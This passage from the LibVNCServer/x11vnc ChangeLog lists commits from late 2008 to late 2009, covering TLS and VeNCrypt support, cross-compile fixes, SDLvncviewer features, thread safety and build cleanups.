29142009-10-08 runge <runge@karlrunge.com> 2915 2916 * x11vnc/misc/enhanced_tightvnc_viewer/README, 2917 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 2918 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2919 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2920 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 2921 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2922 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2923 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2924 ll.patch: Synchronize ssvnc source, etc. Nearly the 1.0.24 2925 release... 2926 29272009-10-08 runge <runge@karlrunge.com> 2928 2929 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2930 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2931 x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, 2932 x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, 2933 x11vnc/params.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/screen.c, 2934 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, 2935 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 2936 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, 2937 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 2938 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, 2939 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 2940 x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, 2941 x11vnc/xevents.h, x11vnc/xwrappers.c: Huge number of changes, see 2942 x11vnc/ChangeLog 2943 29442009-10-07 runge <runge@karlrunge.com> 2945 2946 * libvncclient/rfbproto.c: Some broken build environments treat 2947 fprintf(fh, buf) as a fatal error... 2948 29492009-10-07 runge <runge@karlrunge.com> 2950 2951 * libvncserver/main.c: Some broken build environments treat 2952 fprintf(fh, buf) as a fatal error... 2953 29542009-10-02 Vic Lee <llyzs@163.com> 2955 2956 * libvncclient/rfbproto.c, libvncclient/tls.c, rfb/rfbclient.h, 2957 rfb/rfbproto.h: Add VeNCrypt support in libvncclient Signed-off-by: Vic Lee <llyzs@163.com> 2958 29592009-10-02 Christian Beier <dontmind@freeshell.org> 2960 2961 * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, 2962 rfb/rfb.h, vncterm/Makefile.am: mingw32 crosscompile fixes. SOCKET is redefined in winsock2.h so #undef it where winsock2.h is 2963 included. The changes in rfbproto.c circumvent crosscompiler errors 2964 like 'S_IFMT' undeclared ...', the Makefile.am changes avoid 2965 building linux specific stuff for a win32 host target. Also added 2966 configure option to specify sdl-config. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2967 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2968 29692009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de> 2970 2971 * configure.ac: Fallback to --without-client-tls if GNUTLS could not 2972 be found Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2973 29742009-10-01 Vic Lee <llyzs@163.com> 2975 2976 * configure.ac, libvncclient/Makefile.am, libvncclient/rfbproto.c, 2977 libvncclient/sockets.c, libvncclient/tls.c, libvncclient/tls.h, 2978 libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: Add 2979 anonymous TLS support in libvncclient Signed-off-by: Vic Lee <llyzs@163.com> 2980 29812009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de> 2982 2983 * test/encodingstest.c: encodingstest: fix multi-threading issue Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2984 29852009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de> 2986 2987 * test/encodingstest.c: encodingstest: fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2988 29892009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de> 2990 2991 * AUTHORS: Add Christian Beier to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2992 29932009-10-02 Christian Beier <dontmind@freeshell.org> 2994 2995 * libvncclient/rfbproto.c: Fix IsUnixSocket() This is a pure functionality fix: according to its manpage, stat() 2996 returns 0 on success. Checking for a return value of zero fixes 2997 incorrect results of IsUnixSocket(). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2998 29992009-09-27 Johannes Schindelin <johannes.schindelin@gmx.de> 3000 3001 * AUTHORS: Add Vic Lee to the author list Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3002 30032009-09-14 Vic Lee <llyzs@163.com> 3004 3005 * libvncclient/rfbproto.c: Fix bug for logging unsupported security 3006 types Signed-off-by: Vic Lee <llyzs@163.com> 3007 30082009-09-14 Vic Lee <llyzs@163.com> 3009 3010 * libvncclient/rfbproto.c: Fix bug for VNC Server version 4 Signed-off-by: Vic Lee <llyzs@163.com> 3011 30122009-08-10 runge <runge@karlrunge.com> 3013 3014 * x11vnc/README, x11vnc/connections.c, x11vnc/enc.h, x11vnc/help.c, 3015 x11vnc/pointer.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, 3016 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Improvements 3017 to -unixpw_cmd and -unixpw_nis. Experimental X11VNC_WATCH_DX_DY=1 3018 for buggy theme menus, see: 3019 http://ubuntuforums.org/showthread.php?t=1223490 3020 30212009-07-11 runge <runge@karlrunge.com> 3022 3023 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c, 3024 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Setup for x11vnc version 3025 0.9.9 3026 30272009-06-19 runge <runge@karlrunge.com> 3028 3029 * classes/ssl/README, 3030 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3031 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/README: 3032 Add proxyHost and proxyPort java applet params. 3033 30342009-06-18 runge <runge@karlrunge.com> 3035 3036 * classes/ssl/ss_vncviewer, 3037 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3038 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3039 x11vnc/ChangeLog, x11vnc/README, 3040 x11vnc/misc/enhanced_tightvnc_viewer/README, 3041 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 3042 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3043 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3044 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3045 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 3046 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3047 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3048 ll.patch: classes/ssl: java viewer now handles auth-basic proxy 3049 logins. misc/enhanced_tightvnc_viewer: update ssvnc. 3050 30512009-06-16 Johannes Schindelin <johannes.schindelin@gmx.de> 3052 3053 * libvncclient/vncviewer.c: Fix two issues in rfbGetClient() There was an unnecessary assignment, and an assignment of a string 3054 that was to be free()ed later, so it has to be strdup()ed. Both issues spotted by Roman Held. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3055 30562009-06-14 runge <runge@karlrunge.com> 3057 3058 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3059 x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, 3060 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: 3061 X11VNC_REFLECT_PASSWORD env. var., warning about compiz, improve 3062 single-port. 3063 30642009-05-22 Stefan Becker <stefanb2@users.sourceforge.net> 3065 3066 * libvncclient/vncviewer.c: Add close() to rfbClientCleanup() Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3067 30682009-05-21 runge <runge@karlrunge.com> 3069 3070 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 3071 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 3072 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/turbovnc/convert, 3073 x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, 3074 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 3075 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, 3076 x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1, 3077 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 3078 x11vnc/xrecord.c, x11vnc/xwrappers.c: Thread safety. Fix -clip -in 3079 -rawfb. Try to avoid Xorg stuck key bug. 3080 30812009-05-21 runge <runge@karlrunge.com> 3082 3083 * ChangeLog, configure.ac, libvncserver/main.c, 3084 libvncserver/rfbserver.c, libvncserver/tight.c, 3085 libvncserver/tightvnc-filetransfer/rfbtightserver.c, 3086 libvncserver/zlib.c, libvncserver/zrle.c, 3087 libvncserver/zrleencodetemplate.c, rfb/rfb.h: Thread safety for 3088 zrle, zlib, tight. Proposed tight security type fix for debian bug 3089 517422. 3090 30912009-05-20 llyzs <llyzs@163.com> 3092 3093 * rfb/rfbclient.h: Export the functions SupportsClient2Server and 3094 SupportsServer2Client These are useful functions for VNC clients, so let's export them for 3095 everybody to use. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3096 30972009-05-12 Johannes Schindelin <johannes.schindelin@gmx.de> 3098 3099 * AUTHORS: Add Ben to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3100 31012009-05-12 Johannes Schindelin <johannes.schindelin@gmx.de> 3102 3103 * autogen.sh: Make autogen.sh executable Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3104 31052009-05-12 Ben Klopfenstein <benklop@gmail.com> 3106 3107 * libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h: 3108 libvncclient: Unix sockets support by Ben Klopfenstein Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3109 31102009-03-31 runge <runge@karlrunge.com> 3111 3112 * x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, 3113 x11vnc/screen.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 3114 x11vnc/x11vnc_defs.c: rebuild for x11vnc dev 0.9.8 3115 31162009-03-31 runge <runge@karlrunge.com> 3117 3118 * prepare_x11vnc_dist.sh: x11vnc 0.9.8 dev 3119 31202009-03-30 Johannes Schindelin <johannes.schindelin@gmx.de> 3121 3122 * success.html: Add LCD4Linux to the success stories Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3123 31242009-03-16 runge <runge@karlrunge.com> 3125 3126 * x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, 3127 x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3128 x11vnc/x11vnc_defs.c: Add some -remap tricks. Limit rfbCFD message 3129 count. 3130 31312009-03-14 runge <runge@karlrunge.com> 3132 3133 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/README, 3134 x11vnc/allowed_input_t.h, x11vnc/avahi.c, x11vnc/avahi.h, 3135 x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, 3136 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 3137 x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, 3138 x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, 3139 x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, 3140 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, 3141 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, 3142 x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, 3143 x11vnc/macosxCGS.h, x11vnc/misc/LICENSE, 3144 x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README, 3145 x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert, 3146 x11vnc/misc/turbovnc/convert_rfbserver, 3147 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/options.c, 3148 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, 3149 x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, 3150 x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, 3151 x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, 3152 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, 3153 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 3154 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, 3155 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, 3156 x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, 3157 x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h, 3158 x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, 3159 x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h, 3160 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 3161 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 3162 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, 3163 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, 3164 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, 3165 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Insert 3166 x11vnc copyright and license notices. 3167 31682009-03-14 runge <runge@karlrunge.com> 3169 3170 * x11vnc/README: Test git commit setting username & etc. 3171 31722009-03-14 Karl J. Runge <runge@haystack.runge.home> 3173 3174 * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, 3175 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Tweak settings and docs for 3176 create_display. Add FD_EXTRA finishing cmd. 3177 31782009-03-13 runge <runge> 3179 3180 * x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, 3181 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3182 x11vnc/x11vnc_defs.c: x11vnc: Fix off-screen bug for -ncache_cr 3183 copyrect. 3184 31852009-03-12 dscho <dscho> 3186 3187 * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer 3188 about scroll wheel events Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3189 31902009-03-12 dscho <dscho> 3191 3192 * client_examples/SDLvncviewer.c: SDLvncviewer: fix passing a wrong 3193 pointer type Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3194 31952009-03-08 dscho <dscho> 3196 3197 * ChangeLog, client_examples/Makefile.am, 3198 client_examples/SDLvncviewer.c, client_examples/scrap.c, 3199 client_examples/scrap.h: Clipboard support for SDLvncviewer The clipboard support has only been tested on Linux so far. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3200 32012009-03-07 runge <runge> 3202 3203 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3204 x11vnc/help.c, x11vnc/misc/turbovnc/Makefile.am, 3205 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, 3206 x11vnc/misc/turbovnc/convert, 3207 x11vnc/misc/turbovnc/convert_rfbserver, 3208 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/scan.c, 3209 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 3210 x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range 3211 for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add 3212 progress_client() to proceed more quickly thru handshake. 3213 Improvements to turbovnc hack. 3214 32152009-03-07 dscho <dscho> 3216 3217 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: 3218 upon focus loss, force releasing the Alt keys When switching windows using the Alt+Tab shortcut, SDLvncviewer 3219 would get the "down" event, but not the "up" event. This patch 3220 provides a workaround. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3221 32222009-03-07 dscho <dscho> 3223 3224 * client_examples/SDLvncviewer.c: SDLvncviewer: refactor event 3225 handling Instead of having deep indent levels, put the code to handle events 3226 into its own function. That also helps readability. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3227 32282009-03-07 dscho <dscho> 3229 3230 * TODO: Update SDLvncviewer TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3231 32322009-03-07 dscho <dscho> 3233 3234 * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer to 3235 be resizable Using "SDLvncviewer -resizable", you make the window resizable. 3236 This means that you can shrink the window (e.g. when you are trying 3237 to access an x11vnc from your little netbook), or you can enlarge 3238 it. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3239 32402009-03-06 dscho <dscho> 3241 3242 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: 3243 enable key repeat Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3244 32452009-02-28 runge <runge> 3246 3247 * configure.ac, x11vnc/ChangeLog, x11vnc/README, 3248 x11vnc/misc/Makefile.am, x11vnc/misc/turbovnc/Makefile.am, 3249 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, 3250 x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/tight.c, 3251 x11vnc/misc/turbovnc/turbojpeg.h, 3252 x11vnc/misc/turbovnc/undo_turbovnc: x11vnc: add kludge to experiment 3253 with turbovnc. 3254 32552009-02-26 runge <runge> 3256 3257 * x11vnc/ChangeLog, x11vnc/README, x11vnc/remote.c, 3258 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 3259 x11vnc/x11vnc_defs.c: x11vnc: fix some -QD cases for use in 3260 tkx11vnc. 3261 32622009-02-22 runge <runge> 3263 3264 * x11vnc/README, x11vnc/avahi.c, x11vnc/enc.h, x11vnc/selection.c: 3265 fix some compiler warnings. 3266 32672009-02-22 runge <runge> 3268 3269 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, 3270 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: add -noskip_lockkeys option 3271 for future use. 3272 32732009-02-04 runge <runge> 3274 3275 * classes/ssl/README, 3276 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3277 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c, 3278 x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslhelper.c, 3279 x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, 3280 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3281 x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Add "sendbell" 3282 remote cmd. Fix copyrect updates under -reflect. Workaround that 3283 checks valid window of selection requestor. Wait on some ssl helper 3284 pids earlier. Workaround XAUTHLOCALHOSTNAME for some new usage 3285 modes. Set fake fb to requested bpp with correct masks. -padgeom 3286 once:... mode. Set LIBXCB_ALLOW_SLOPPY_LOCK by default. 3287 rfbRandomBytes earlier. classes/ssl: Update jars. Add "TOP_" 3288 dropdown customization to ultravnc java viewer applet FTP panel. 3289 32902009-02-03 dscho <dscho> 3291 3292 * test/Makefile.am: test/Makefile: use check_PROGRAMS Rather than use noinst_PROGRAMS, check_PROGRAMS will define programs 3293 that are only compiled when someone actually runs `make check`. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by: 3294 Johannes Schindelin <johannes.schindelin@gmx.de> 3295 32962009-02-03 dscho <dscho> 3297 3298 * ChangeLog: Record Mike's automake cleanups Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3299 33002009-02-03 dscho <dscho> 3301 3302 * Makefile.am, client_examples/Makefile.am, configure.ac, 3303 contrib/Makefile.am, examples/Makefile.am, 3304 libvncclient/Makefile.am, libvncserver/Makefile.am, 3305 test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: clean up 3306 build flags The flag handling (both compiler options and include paths) are a 3307 mess at the moment. There is no point in forcing "-O2 -g" when 3308 these are already the defaults, and if someone changes the defaults, 3309 chances are good they don't want you clobbering their choices. The -Wall flag should be handled in configure and thrown into CFLAGS 3310 once rather than every Makefile.am. Plus, this way we can control 3311 which compilers the flag actually gets used with. Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS. Nor 3312 should it contain -I. as this is already in the default includes 3313 setup. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by: 3314 Johannes Schindelin <johannes.schindelin@gmx.de> 3315 33162009-02-03 dscho <dscho> 3317 3318 * configure.ac: configure: use _cv_ in cache var name Newer autoconf fails if _cv_ is not in the cache var name. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by: 3319 Johannes Schindelin <johannes.schindelin@gmx.de> 3320 33212009-02-03 dscho <dscho> 3322 3323 * configure.ac: configure: use AM_PROG_CC_C_O Newer automakes error out due to per-file CFLAGS being used unless 3324 the macro AM_PROG_CC_C_O is set in configure.ac. [jes: The macro AM_PROG_CC_C_O has been around since 1999, so it 3325 should be safe.] Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by: 3326 Johannes Schindelin <johannes.schindelin@gmx.de> 3327 33282009-02-03 dscho <dscho> 3329 3330 * autogen.sh: autogen.sh: run with set -e If any autotool command fails, we want to abort, not keep running. 3331 Otherwise, errors in say a Makefile.am will be missed as the 3332 automake failure gets ignored and then lost in the noise. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by: 3333 Johannes Schindelin <johannes.schindelin@gmx.de> 3334 33352009-01-12 runge <runge> 3336 3337 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3338 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3339 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3340 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3341 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3342 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3343 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3344 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3345 ll.patch: SSVNC 1.0.22 release (+ a little bit more). crl lists, 3346 ssh pid finding improvements, and more. 3347 33482009-01-12 runge <runge> 3349 3350 * CMakeLists.txt, ChangeLog, configure.ac: configure.ac, 3351 CMakeLists.txt: set LibVNCServer version to 0.9.7 3352 33532009-01-12 runge <runge> 3354 3355 * classes/ssl/README, classes/ssl/ss_vncviewer, 3356 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3357 x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3358 x11vnc/x11vnc_defs.c: classes/ssl: Add configurable Ultra java 3359 applet Filexfer Drives drop down (e.g. 3360 ftpDropDown=Home.Desktop.bin). Document all applet parameters in 3361 classes/ssl/README. 3362 33632009-01-11 runge <runge> 3364 3365 * ChangeLog: Forgot ChangeLog 3366 33672009-01-11 runge <runge> 3368 3369 * prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: fix SUBDIRS and 3370 DIST_SUBDRIS when using --with-system-libvncserver 3371 33722009-01-10 runge <runge> 3373 3374 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, 3375 x11vnc/selection.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 3376 x11vnc/xrecord.c: x11vnc: fix failure of -8to24 on default depth 24 3377 due to nonstandard indexed color support changes. Fix small window 3378 for failure after XSendEvent selection call; add env var. 3379 X11VNC_SENDEVENT_SYNC=1 to take even more care. 3380 33812009-01-04 runge <runge> 3382 3383 * x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, 3384 x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h, 3385 x11vnc/gui.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, 3386 x11vnc/sslhelper.c, x11vnc/x11vnc.c, x11vnc/xwrappers.c: x11vnc: fix 3387 compiler warnings. 3388 33892009-01-04 runge <runge> 3390 3391 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 3392 x11vnc/connections.c, x11vnc/help.c, x11vnc/linuxfb.c, 3393 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 3394 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 3395 x11vnc/sslhelper.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3396 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: 3397 add -rmflag option, -rawfb vt support, bpp < 8 support for rawfb, 3398 find /dev/video better. Fix reverse SSL connection for DH. Some 3399 improvements for CUPS TS helper, restart if needed. 3400 34012009-01-04 runge <runge> 3402 3403 * configure.ac, prepare_x11vnc_dist.sh: configure.ac: add include 3404 file file for libXrandr on Solaris. prepare_x11vnc_dist.sh: set 3405 version to 0.9.7 3406 34072008-12-10 runge <runge> 3408 3409 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3410 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 3411 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, 3412 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3413 x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1, 3414 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 0.9.6 release. Some 3415 strtok bugfixes. rename -tlsvnc to -anontls. Disable ssl caching. 3416 No cert creation prompting in inetd or bg modes. waitpid a bit more 3417 carefully on ssl helpers. Tune ssl initial timeouts. Let -create 3418 user specify starting X display. fix -rfbport prompt gui for older 3419 tk. -sslonly option. Error if no -ssl with related options. -rand 3420 option. -ssl implies -ssl SAVE 3421 34222008-11-22 runge <runge> 3423 3424 * classes/ssl/ss_vncviewer: Update ss_vncviewer... 3425 34262008-11-22 runge <runge> 3427 3428 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3429 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3430 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3431 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3432 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3433 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3434 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3435 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 3436 tch, 3437 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3438 ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop: SSVNC 3439 sync: stunnel upgrade and patch, change wish order, -anondh -ciphers 3440 option VeNCrypt and TLSVNC support (in pproxy and unix vncviewer). 3441 Help text tweaks -killstunnel, s_client fixes, No Encryption easier. 3442 Zeroconf/avahi support. tk font fixes. SSVNC_ULTRA_FTP_JAR finding 3443 SSVNC_PREDIGESTED_HANDSHAKE SSVNC_SKIP_RFB_PROTOCOL_VERSION, 3444 SSVNC_SET_SECURITY_TYPE, etc hacks. 3445 34462008-11-22 runge <runge> 3447 3448 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 3449 x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c, 3450 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 3451 x11vnc/params.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 3452 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, 3453 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 3454 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, 3455 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, 3456 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 3457 x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xrecord.c, 3458 x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: x11vnc.desktop file. 3459 -reopen, -dhparams, -sslCRL, -setdefer options. -rfbport PROMPT 3460 VeNCrypt and TLSVNC SSL/TLS encryption support. Tweaks to 3461 choose_delay() algorithm. -ssl ANON anonymouse Diffie-Hellman mode. 3462 Fix bugs in certs management. 